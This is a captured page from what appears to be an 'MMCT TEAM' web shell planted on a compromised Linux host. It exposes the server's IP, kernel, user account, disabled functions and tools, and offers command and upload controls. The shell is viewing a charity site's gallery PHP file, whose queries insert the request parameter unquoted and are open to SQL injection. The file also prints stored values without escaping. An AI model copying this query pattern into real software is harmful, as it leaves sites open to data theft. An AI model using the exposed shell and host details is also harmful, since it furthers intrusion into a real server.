MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/bmtrust.org.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/bmtrust.org.in/image_of_gallery.php
<?php include("include/header.php");
    $upid=mysqli_real_escape_string($con,$_REQUEST['csrf']);
    if(empty($upid)){
        echo "<script>window.location='gallery.php';</script>";
    }
?>
		<div class="cbp-row wh-page-title-bar">
			<div class="cbp-container">
				<div class="one whole wh-padding wh-page-title-wrapper">
					<h1 class="page-title">Gallery</h1>
				</div>
			</div>
		</div>
		<div class="cbp-row wh-content">
			<div class="cbp-container">
				<div class="three fourths wh-padding wh-content-inner">
				    <h5><?=$row['session'];?></h5>
					<div class="wpb_column vc_column_container vc_col-sm-8 vc_col-xs-12">
						<div class="vc_column-inner vc_custom_1572522067106">
							<div class="wpb_wrapper">
							    <?php
							        $name=mysqli_fetch_assoc(mysqli_query($con,"select name from gallery where id=$upid"))['name'];
						        ?>
								<h3 style="font-size: 25px;color: #000000;line-height: 45px;text-align: left" class="vc_custom_heading vc_custom_1572512803159" ><?=$name;?></h3>
								<div class="vc_row wpb_row vc_inner vc_row-fluid">
								    <?php
                				        $galleryQ=mysqli_query($con,"select * from image_of_gallery where gallery_id=$upid");
                				        while($galleryR=mysqli_fetch_assoc($galleryQ)){
                				    ?>
									<div class="wpb_column vc_column_container vc_col-sm-6">
										<div class="vc_column-inner vc_custom_1572522512201">
											<div class="wpb_wrapper">
												<div  class="wpb_single_image wpb_content_element vc_align_left  wpb_animate_when_almost_visible wpb_left-to-right left-to-right vc_custom_1573190854812">
													<figure class="wpb_wrapper vc_figure">
														<div class="vc_single_image-wrapper   vc_box_border_grey">
														    <img width="460" height="340" src="admin/images/<?=$galleryR['image'];?>" class="vc_single_image-img attachment-full" alt="" />
													    </div>
													</figure>
												</div>
											</div>
										</div>
									</div>
									<?php
                				        }
									?>
								</div>
							</div>
						</div>
					</div>
				</div>
				<div class="wh-sidebar one fourth wh-padding">
					<div class="widget recent-posts-4 widget_recent_entries">
						<h5 class="widget-title">Recent News</h5>
						<ul>
						    <?php
						        $newsQ=mysqli_query($con,"select * from news order by id desc limit 5");
						        while($newsR=mysqli_fetch_assoc($newsQ)){
						    ?>
							<li>
								<a href="news.php?csrf=<?=$newsR['id'];?>"><?=$newsR['subject'];?></a>
							</li>
							<?php
							    }
							?>
						</ul>
					</div>
				</div>
			</div>
		</div>
		<?php include("include/footer.php");?>

MMCT - 2023